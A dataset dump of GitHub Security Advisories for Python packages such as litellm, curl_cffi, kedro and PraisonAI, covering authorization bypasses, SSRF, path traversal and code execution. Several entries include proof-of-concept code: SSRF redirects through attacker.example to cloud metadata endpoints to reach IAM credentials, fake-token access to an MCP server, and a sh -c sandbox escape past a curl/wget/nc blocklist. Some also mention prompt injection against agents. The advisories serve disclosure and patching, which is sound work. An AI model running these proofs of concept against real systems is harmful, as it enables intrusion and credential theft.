deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-53mr-6c8q-9789
Package: litellm (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 1.83.0
Patched in: 1.83.0

Summary: LiteLLM: Privilege escalation via unrestricted proxy configuration endpoint

Details:
### Impact

The `/config/update endpoint` does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to do the following:

  - Modify proxy configuration and environment variables
  - Register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution
  - Read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image
  - Take over other priveleged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables

### Patches

Fixed in v1.83.0. The endpoint now requires `proxy_admin` role.

### Workarounds

Restrict API key distribution. There is no configuration-level workaround.
GitHub Security Advisory: GHSA-8mxq-7xr7-2fxj
Package: jupyterhub-ltiauthenticator (PIP)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-401: Missing Release of Memory after Effective Lifetime, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 1.6.2
Patched in: 1.6.3

Summary: LTI JupyterHub Authenticator: Unbounded Memory Growth via Nonce Storage (Denial of Service)

Details:
## Summary

The LTI 1.1 validator stores OAuth nonces in a class-level dictionary that grows without bounds. Nonces are added before signature validation, so an attacker with knowledge of a valid consumer key can send repeated requests with unique nonces to gradually exhaust server memory, causing a denial of service.

## Patches

- upgrade jupyterhub-litauthenticator to 1.6.3
GitHub Security Advisory: GHSA-qw2m-4pqf-rmpp
Package: curl_cffi (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.15.0
Patched in: 0.15.0

Summary: curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)

Details:
### Summary
curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

### Details
The issue comes from how curl_cffi handles outbound requests
- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).
- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.
- There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can
- Provide a URL pointing to an attacker-controlled server
- Return a redirect response pointing to an internal service
- Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

### PoC
1. Direct internal request
```
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
```
2. Redirect to internal service
Attacker server:
```
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
```
Victim code:
```
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
```
Result
- Initial request goes to attacker server
- Redirect is returned
- libcurl follows the redirect automatically
- Internal metadata endpoint is accessed

3. With TLS impersonation
```
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")
```
In some environments, this may help the request bypass TLS-based filtering controls.


### Impact
An attacker who can control the requested URL may be able to:
- Access internal network services
- Reach cloud metadata endpoints and retrieve sensitive information
- Bypass certain outbound filtering mechanisms (depending on environment)
This corresponds to CWE-918 Server-Side Request Forgery.
GitHub Security Advisory: GHSA-3vff-hjqv-m7h8
Package: jupyterhub (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 5.4.3
Patched in: 5.4.4

Summary: JupyterHub has an Open Redirect Vulnerability

Details:
## Affected Version

JupyterHub <= 5.4.3

## Impact

An open redirect vulnerability in JupyterHub <=5.4.3 allows attackers to construct links which, when clicked, take users to the JupyterHub login page, after which they are sent to an arbitrary attacker-controlled site outside JupyterHub instead of a JupyterHub page, bypassing JupyterHub's check to prevent this.

## Patches

Upgrade to JupyterHub 5.4.4

## Workarounds

A deployment can apply filters on the Location header in a reverse proxy such as nginx/apache/traefik.
GitHub Security Advisory: GHSA-rrvg-cxh4-qhrv
Package: oauthenticator (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-287: Improper Authentication, CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: < 17.4.0
Patched in: 17.4.0

Summary: Auth0OAuthenticator has an Authentication Bypass via Unverified Email Claims

Details:
### Summary

An authentication bypass vulnerability in `oauthenticator` allows an attacker with an unverified email address on an Auth0 tenant to login to JupyterHub. When `email` is used as the usrname_claim, this gives users control over their username and the possibility of account takeover.

### Impact

This is an **Authentication Bypass Vulnerability**. Any Auth0 tenant leveraging the `Auth0OAuthenticator` mapping the `email` claim to the JupyterHub username is impacted. By default, Auth0 handles email verification as a user flag, not a hard block to authentication streams. If an attacker can register an account with the Auth0 tenant with an unverified email and knows the email of an existing user on the system, they can authenticate as that user.

### Patches

- Upgrade oauthenticator to 17.4

### Workarounds

- Check `email_verified` field in an `Authenticator.post_auth_hook` function
- Do not use `email` as the username claim
- [Enforce email verification in auth0](https://support.auth0.com/center/s/article/Enforce-Email-Verification-With-Sending-Email-After-Each-Denied-Access)
GitHub Security Advisory: GHSA-73jv-44c3-j5p2
Package: ajenti-panel (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 2.2.15
Patched in: 2.2.15

Summary: Ajenti has an authorization bypass during custom package installation

Details:
### Impact

An authenticated user (using the `auth_users` plugin authentication method) could install a custom package even if this user is not superuser.

### Patches

This is fixed in the version 2.2.15. Users should upgrade to this version as soon as possible.
GitHub Security Advisory: GHSA-9cqf-439c-j96r
Package: kedro (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 1.3.0
Patched in: 1.3.0

Summary: Kedro has Arbitrary Code Execution via Malicious Logging Configuration

Details:
### Impact

This is a **critical remote code execution (RCE)** vulnerability caused by unsafe use of `logging.config.dictConfig()` with user-controlled input.

Kedro allows the logging configuration file path to be set via the `KEDRO_LOGGING_CONFIG` environment variable and loads it without validation. The logging configuration schema supports the special `()` key, which enables arbitrary callable instantiation. An attacker can exploit this to execute arbitrary system commands during application startup.

---

### Patches

The vulnerability is fixed by introducing validation that rejects the unsafe `()` factory key in logging configurations before passing them to `dictConfig()`.

#### Fixed in
- Kedro 1.3.0

Users should upgrade to this version as soon as possible.

---

### Workarounds

If upgrading is not immediately possible:

- Do not allow untrusted input to control the `KEDRO_LOGGING_CONFIG` environment variable  
- Restrict write access to logging configuration files  
- Avoid using externally supplied or dynamically generated logging configs  
- Manually validate logging YAML to ensure it does not contain the `()` key  

These mitigations reduce risk but do not fully eliminate it.

---

### References

- Python logging configuration documentation: https://docs.python.org/3/library/logging.config.html#logging-config-dictschema  
- CWE-94: Code Injection — https://cwe.mitre.org/data/definitions/94.html
GitHub Security Advisory: GHSA-6326-w46w-ppjw
Package: kedro (PIP)
Severity: HIGH (CVSS 7.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.3.0
Patched in: 1.3.0

Summary: Kedro: Path Traversal in versioned dataset loading via unsanitized version string

Details:
### Impact
The `_get_versioned_path()` method in kedro/io/core.py constructs filesystem paths by directly interpolating user-supplied version strings without sanitization. Because version strings are used as path components, traversal sequences such as ../ are preserved and can escape the intended versioned dataset directory.
This is reachable through multiple entry points: `catalog.load(..., version=...)`, `DataCatalog.from_config(..., load_versions=...)`, and the CLI via `kedro run --load-versions=dataset:../../../secrets`. An attacker who can influence the version string can force Kedro to load files from outside the intended version directory, enabling unauthorized file reads, data poisoning, or cross-tenant data access in shared environments.

### Patches
Yes. Fixed in kedro version 1.3.0. Users should upgrade to kedro >= 1.3.0.

### Workarounds
Validate version strings before passing them to DataCatalog or the CLI, ensuring they do not contain `..` segments, path separators, or absolute paths.
GitHub Security Advisory: GHSA-436g-fhfc-9g5w
Package: dtale (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.22.0
Patched in: 3.22.0

Summary: D-Tale: Remote Code Execution through redis/shelf storage

Details:
### Impact
Users hosting D-Tale publicly while using a redis or shelf storage layer could be vulnerable to remote code execution allowing attackers to run malicious code on the server.

### Patches
Users should upgrade to version 3.22.0.

### Workarounds
There are no workarounds for versions < 3.22.0
GitHub Security Advisory: GHSA-98f9-fqg5-hvq5
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 4.5.96
Patched in: 4.5.97

Summary: PraisonAI Has Authentication Bypass via OAuthManager.validate_token()

Details:
### Summary

`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

### Details

`oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink)
```python
# source
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through
    return True
```

### PoC
```bash
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \
  -H "Authorization: Bearer fake_token_abc123" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
```

### Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.

### Suggested Fix
```python
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()
    # Unknown tokens must be rejected.
    # For external/JWT tokens, call the introspection endpoint here before returning.
    return False
```
GitHub Security Advisory: GHSA-cfh6-vr3j-qc3g
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 4.5.96
Patched in: 4.5.97

Summary: PraisonAI Has Missing Authentication in WebSocket Gateway

Details:
### Summary

The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

### Details

`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```

### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted
```

### Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.

### Suggested Fix
```python
async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()
```
GitHub Security Advisory: GHSA-44c2-3rw4-5gvh
Package: praisonaiagents (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.5.94
Patched in: 1.5.95

Summary: PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL

Details:
### Summary

`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

### Details

`file_tools.py:259` (source) -> `file_tools.py:296` (sink)
```python
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
```

### PoC
```bash
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888

import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file

result = download_file(
    url="http://127.0.0.1:8888/ssrf-test",
    destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file
```

### Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.

### Suggested Fix
```python
from urllib.parse import urlparse
import ipaddress

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def _validate_url(url: str) -> None:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
    try:
        addr = ipaddress.ip_address(parsed.hostname)
        for net in BLOCKED_NETWORKS:
            if addr in net:
                raise ValueError(f"Requests to {addr} are not permitted")
    except ValueError as e:
        if "does not appear to be" not in str(e):
            raise
```
GitHub Security Advisory: GHSA-r4f2-3m54-pp7q
Package: praisonai (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 4.5.96
Patched in: 4.5.97

Summary: PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox

Details:
### Summary

`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c '<command>'`.

### Details

`sandbox_executor.py:179` (source) -> `sandbox_executor.py:326` (sink)
```python
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)
```

### PoC
```python
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c '<blocked_command>'`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

### Suggested Fix
```python
import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)
```
GitHub Security Advisory: GHSA-x6m9-gxvr-7jpv
Package: praisonai (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 4.5.89
Patched in: 4.5.90

Summary: PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Details:
### Summary

`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

### Details

`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink)
```python
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)
```

### PoC
```python
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials
```

### Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.